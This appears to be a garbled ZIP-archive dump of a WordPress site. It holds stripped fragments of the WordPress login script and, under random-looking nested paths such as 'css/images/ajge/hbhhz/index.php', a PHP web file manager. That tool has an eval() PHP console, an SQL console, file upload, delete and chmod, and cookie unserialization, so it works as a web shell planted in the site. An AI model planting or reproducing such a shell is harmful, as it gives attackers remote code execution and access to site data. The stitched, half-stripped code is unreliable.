PK 5\Z5A 9 v2/includes/includes/2025/css/images/ajge/hbhhz/index.phpnu W+A ' . $content);
?>PK 5\?K $ v2/backup/assets/vboog/zsp/index.phpnu W+A ` element.
* Default 'Log In'.
* @param string $message Optional. Message to display in header. Default empty.
* @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance.
*/
function login_header( $title = 'Log In', $message = '', $wp_error = null ) {
global $error, $interim_login, $action;
// Don't index any of these forms.
add_filter( 'wp_robots', 'wp_robots_sensitive_page' );
add_action( 'login_head', 'wp_strict_cross_origin_referrer' );
add_action( 'login_head', 'wp_login_viewport_meta' );
if ( ! is_wp_error( $wp_error ) ) {
$wp_error = new WP_Error();
}
// Shake it!
$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' );
/**
* Filters the error codes array for shaking the login form.
*
* @since 3.0.0
*
* @param array $shake_error_codes Error codes that shake the login form.
*/
$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );
if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) {
add_action( 'login_footer', 'wp_shake_js', 12 );
}
$login_title = get_bloginfo( 'name', 'display' );
/* translators: Login screen title. 1: Login screen name, 2: Network or site name. */
$login_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $title, $login_title );
if ( wp_is_recovery_mode() ) {
/* translators: %s: Login screen title. */
$login_title = sprintf( __( 'Recovery Mode — %s' ), $login_title );
}
/**
* Filters the title tag content for login page.
*
* @since 4.9.0
*
* @param string $login_title The page title, with extra context added.
* @param string $title The original page title.
*/
$login_title = apply_filters( 'login_title', $login_title, $title );
?>
>
get_error_code() ) {
?>
add( 'error', $error );
unset( $error );
}
if ( $wp_error->has_errors() ) {
$errors = '';
$messages = '';
foreach ( $wp_error->get_error_codes() as $code ) {
$severity = $wp_error->get_error_data( $code );
foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
if ( 'message' === $severity ) {
$messages .= ' ' . $error_message . "
\n";
} else {
$errors .= ' ' . $error_message . "
\n";
}
}
}
if ( ! empty( $errors ) ) {
/**
* Filters the error messages displayed above the login form.
*
* @since 2.1.0
*
* @param string $errors Login error message.
*/
echo '
' . apply_filters( 'login_errors', $errors ) . "
\n";
}
if ( ! empty( $messages ) ) {
/**
* Filters instructional messages displayed above the login form.
*
* @since 2.5.0
*
* @param string $messages Login messages.
*/
echo '
' . apply_filters( 'login_messages', $messages ) . "
\n";
}
}
} // End of login_header().
/**
* Outputs the footer for the login page.
*
* @since 3.1.0
*
* @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
* upon successful login.
*
* @param string $input_id Which input to auto-focus.
*/
function login_footer( $input_id = '' ) {
global $interim_login;
// Don't allow interim logins to navigate away from the page.
if ( ! $interim_login ) {
?>
%s',
esc_url( home_url( '/' ) ),
sprintf(
/* translators: %s: Site title. */
_x( '← Go to %s', 'site' ),
get_bloginfo( 'title', 'display' )
)
);
/**
* Filter the "Go to site" link displayed in the login page footer.
*
* @since 5.7.0
*
* @param string $link HTML link to the home URL of the current site.
*/
echo apply_filters( 'login_site_html_link', $html_link );
?>
', '
' );
}
?>
. ?>
0 ) {
update_option( 'admin_email_lifespan', time() + $remind_interval );
}
$redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to );
wp_safe_redirect( $redirect_to );
exit;
}
if ( ! empty( $_POST['correct-admin-email'] ) ) {
if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) {
wp_safe_redirect( wp_login_url() );
exit;
}
/**
* Filters the interval for redirecting the user to the admin email confirmation screen.
*
* If `0` (zero) is returned, the user will not be redirected.
*
* @since 5.3.0
*
* @param int $interval Interval time (in seconds). Default is 6 months.
*/
$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );
if ( $admin_email_check_interval > 0 ) {
update_option( 'admin_email_lifespan', time() + $admin_email_check_interval );
}
wp_safe_redirect( $redirect_to );
exit;
}
login_header( __( 'Confirm your administration email' ), '', $errors );
/**
* Fires before the admin email confirm form.
*
* @since 5.3.0
*
* @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
* credentials. Note that the error object may not contain any errors.
*/
do_action( 'admin_email_confirm', $errors );
?>
HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );
wp_safe_redirect( wp_get_referer() );
exit;
case 'logout':
check_admin_referer( 'log-out' );
$user = wp_get_current_user();
wp_logout();
if ( ! empty( $_REQUEST['redirect_to'] ) ) {
$redirect_to = $_REQUEST['redirect_to'];
$requested_redirect_to = $redirect_to;
} else {
$redirect_to = add_query_arg(
array(
'loggedout' => 'true',
'wp_lang' => get_user_locale( $user ),
),
wp_login_url()
);
$requested_redirect_to = '';
}
/**
* Filters the log out redirect URL.
*
* @since 4.2.0
*
* @param string $redirect_to The redirect destination URL.
* @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
* @param WP_User $user The WP_User object for the user that's logging out.
*/
$redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user );
wp_safe_redirect( $redirect_to );
exit;
case 'lostpassword':
case 'retrievepassword':
if ( $http_post ) {
$errors = retrieve_password();
if ( ! is_wp_error( $errors ) ) {
$redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm';
wp_safe_redirect( $redirect_to );
exit;
}
}
if ( isset( $_GET['error'] ) ) {
if ( 'invalidkey' === $_GET['error'] ) {
$errors->add( 'invalidkey', __( 'Error : Your password reset link appears to be invalid. Please request a new link below.' ) );
} elseif ( 'expiredkey' === $_GET['error'] ) {
$errors->add( 'expiredkey', __( 'Error : Your password reset link has expired. Please request a new link below.' ) );
}
}
$lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
/**
* Filters the URL redirected to after submitting the lostpassword/retrievepassword form.
*
* @since 3.0.0
*
* @param string $lostpassword_redirect The redirect destination URL.
*/
$redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect );
/**
* Fires before the lost password form.
*
* @since 1.5.1
* @since 5.1.0 Added the `$errors` parameter.
*
* @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
* credentials. Note that the error object may not contain any errors.
*/
do_action( 'lost_password', $errors );
login_header( __( 'Lost Password' ), '' . __( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ) . '
', $errors );
$user_login = '';
if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
$user_login = wp_unslash( $_POST['user_login'] );
}
?>
%s', esc_url( wp_registration_url() ), __( 'Register' ) );
echo esc_html( $login_link_separator );
/** This filter is documented in wp-includes/general-template.php */
echo apply_filters( 'register', $registration_url );
}
?>
get_error_code() === 'expired_key' ) {
wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) );
} else {
wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) );
}
exit;
}
$errors = new WP_Error();
if ( isset( $_POST['pass1'] ) && $_POST['pass1'] !== $_POST['pass2'] ) {
$errors->add( 'password_reset_mismatch', __( 'Error : The passwords do not match.' ) );
}
/**
* Fires before the password reset procedure is validated.
*
* @since 3.5.0
*
* @param WP_Error $errors WP Error object.
* @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise.
*/
do_action( 'validate_password_reset', $errors, $user );
if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) {
reset_password( $user, $_POST['pass1'] );
setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
login_header( __( 'Password Reset' ), '' . __( 'Your password has been reset.' ) . ' ' . __( 'Log in' ) . '
' );
login_footer();
exit;
}
wp_enqueue_script( 'utils' );
wp_enqueue_script( 'user-profile' );
login_header( __( 'Reset Password' ), '' . __( 'Enter your new password below or generate one.' ) . '
', $errors );
?>
%s', esc_url( wp_registration_url() ), __( 'Register' ) );
echo esc_html( $login_link_separator );
/** This filter is documented in wp-includes/general-template.php */
echo apply_filters( 'register', $registration_url );
}
?>
' . __( 'Register For This Site' ) . '', $errors );
?>
add(
'confirm',
sprintf(
/* translators: %s: Link to the login page. */
__( 'Check your email for the confirmation link, then visit the login page .' ),
wp_login_url()
),
'message'
);
} elseif ( 'registered' === $_GET['checkemail'] ) {
$errors->add(
'registered',
sprintf(
/* translators: %s: Link to the login page. */
__( 'Registration complete. Please check your email, then visit the login page .' ),
wp_login_url()
),
'message'
);
}
/** This action is documented in wp-login.php */
$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );
login_header( __( 'Check your email' ), '', $errors );
login_footer();
break;
case 'confirmaction':
if ( ! isset( $_GET['request_id'] ) ) {
wp_die( __( 'Missing request ID.' ) );
}
if ( ! isset( $_GET['confirm_key'] ) ) {
wp_die( __( 'Missing confirm key.' ) );
}
$request_id = (int) $_GET['request_id'];
$key = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) );
$result = wp_validate_user_request_key( $request_id, $key );
if ( is_wp_error( $result ) ) {
wp_die( $result );
}
/**
* Fires an action hook when the account action has been confirmed by the user.
*
* Using this you can assume the user has agreed to perform the action by
* clicking on the link in the confirmation email.
*
* After firing this action hook the page will redirect to wp-login a callback
* redirects or exits first.
*
* @since 4.9.6
*
* @param int $request_id Request ID.
*/
do_action( 'user_request_action_confirmed', $request_id );
$message = _wp_privacy_account_request_confirmed_message( $request_id );
login_header( __( 'User action confirmed.' ), $message );
login_footer();
exit;
case 'login':
default:
$secure_cookie = '';
$customize_login = isset( $_REQUEST['customize-login'] );
if ( $customize_login ) {
wp_enqueue_script( 'customize-base' );
}
// If the user wants SSL but the session is not SSL, force a secure cookie.
if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) {
$user_name = sanitize_user( wp_unslash( $_POST['log'] ) );
$user = get_user_by( 'login', $user_name );
if ( ! $user && strpos( $user_name, '@' ) ) {
$user = get_user_by( 'email', $user_name );
}
if ( $user ) {
if ( get_user_option( 'use_ssl', $user->ID ) ) {
$secure_cookie = true;
force_ssl_admin( true );
}
}
}
if ( isset( $_REQUEST['redirect_to'] ) ) {
$redirect_to = $_REQUEST['redirect_to'];
// Redirect to HTTPS if user wants SSL.
if ( $secure_cookie && false !== strpos( $redirect_to, 'wp-admin' ) ) {
$redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to );
}
} else {
$redirect_to = admin_url();
}
$reauth = empty( $_REQUEST['reauth'] ) ? false : true;
$user = wp_signon( array(), $secure_cookie );
if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
if ( headers_sent() ) {
$user = new WP_Error(
'test_cookie',
sprintf(
/* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */
__( 'Error : Cookies are blocked due to unexpected output. For help, please see this documentation or try the support forums .' ),
__( 'https://wordpress.org/support/article/cookies/' ),
__( 'https://wordpress.org/support/forums/' )
)
);
} elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) {
// If cookies are disabled, we can't log in even with a valid user and password.
$user = new WP_Error(
'test_cookie',
sprintf(
/* translators: %s: Browser cookie documentation URL. */
__( 'Error : Cookies are blocked or not supported by your browser. You must enable cookies to use WordPress.' ),
__( 'https://wordpress.org/support/article/cookies/#enable-cookies-in-your-browser' )
)
);
}
}
$requested_redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
/**
* Filters the login redirect URL.
*
* @since 3.0.0
*
* @param string $redirect_to The redirect destination URL.
* @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
* @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise.
*/
$redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user );
if ( ! is_wp_error( $user ) && ! $reauth ) {
if ( $interim_login ) {
$message = '' . __( 'You have logged in successfully.' ) . '
';
$interim_login = 'success';
login_header( '', $message );
?>
exists() && $user->has_cap( 'manage_options' ) ) {
$admin_email_lifespan = (int) get_option( 'admin_email_lifespan' );
// If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected
// to the admin email confirmation screen.
/** This filter is documented in wp-login.php */
$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );
if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) {
$redirect_to = add_query_arg(
array(
'action' => 'confirm_admin_email',
'wp_lang' => get_user_locale( $user ),
),
wp_login_url( $redirect_to )
);
}
}
if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) {
// If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile.
if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) {
$redirect_to = user_admin_url();
} elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) {
$redirect_to = get_dashboard_url( $user->ID );
} elseif ( ! $user->has_cap( 'edit_posts' ) ) {
$redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url();
}
wp_redirect( $redirect_to );
exit;
}
wp_safe_redirect( $redirect_to );
exit;
}
$errors = $user;
// Clear errors if loggedout is set.
if ( ! empty( $_GET['loggedout'] ) || $reauth ) {
$errors = new WP_Error();
}
if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) {
$errors = new WP_Error( '', '' );
}
if ( $interim_login ) {
if ( ! $errors->has_errors() ) {
$errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' );
}
} else {
// Some parts of this script use the main login form to display a message.
if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) {
$errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' );
} elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) {
$errors->add( 'registerdisabled', __( 'Error : User registration is currently not allowed.' ) );
} elseif ( strpos( $redirect_to, 'about.php?updated' ) ) {
$errors->add( 'updated', __( 'You have successfully updated WordPress! Please log back in to see what’s new.' ), 'message' );
} elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) {
$errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' );
} elseif ( isset( $_GET['redirect_to'] ) && false !== strpos( $_GET['redirect_to'], 'wp-admin/authorize-application.php' ) ) {
$query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY );
parse_str( $query_component, $query );
if ( ! empty( $query['app_name'] ) ) {
/* translators: 1: Website name, 2: Application name. */
$message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '' . esc_html( $query['app_name'] ) . ' ' );
} else {
/* translators: %s: Website name. */
$message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) );
}
$errors->add( 'authorize_application', $message, 'message' );
}
}
/**
* Filters the login page errors.
*
* @since 3.6.0
*
* @param WP_Error $errors WP Error object.
* @param string $redirect_to Redirect destination URL.
*/
$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );
// Clear any stale cookies.
if ( $reauth ) {
wp_clear_auth_cookie();
}
login_header( __( 'Log In' ), '', $errors );
if ( isset( $_POST['log'] ) ) {
$user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? esc_attr( wp_unslash( $_POST['log'] ) ) : '';
}
$rememberme = ! empty( $_POST['rememberme'] );
if ( $errors->has_errors() ) {
$aria_describedby_error = ' aria-describedby="login_error"';
} else {
$aria_describedby_error = '';
}
wp_enqueue_script( 'user-profile' );
?>
%s', esc_url( wp_registration_url() ), __( 'Register' ) );
/** This filter is documented in wp-includes/general-template.php */
echo apply_filters( 'register', $registration_url );
echo esc_html( $login_link_separator );
}
?>
get_error_code() === 'invalid_username' ) {
$login_script .= 'd.value = "";';
}
}
$login_script .= 'd.focus(); d.select();';
$login_script .= '} catch( er ) {}';
$login_script .= '}, 200);';
$login_script .= "}\n"; // End of wp_attempt_focus().
/**
* Filters whether to print the call to `wp_attempt_focus()` on the login screen.
*
* @since 4.8.0
*
* @param bool $print Whether to print the function call. Default true.
*/
if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) {
$login_script .= "wp_attempt_focus();\n";
}
// Run `wpOnload()` if defined.
$login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }";
?>
true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size ?? maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' '.$name.' ';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.=''.$b.' ';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return ''.stripslashes($vdump).' ';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ' ';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' ?? '.$sqlFileToExecute;
else return $sqlErrorText.' '.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
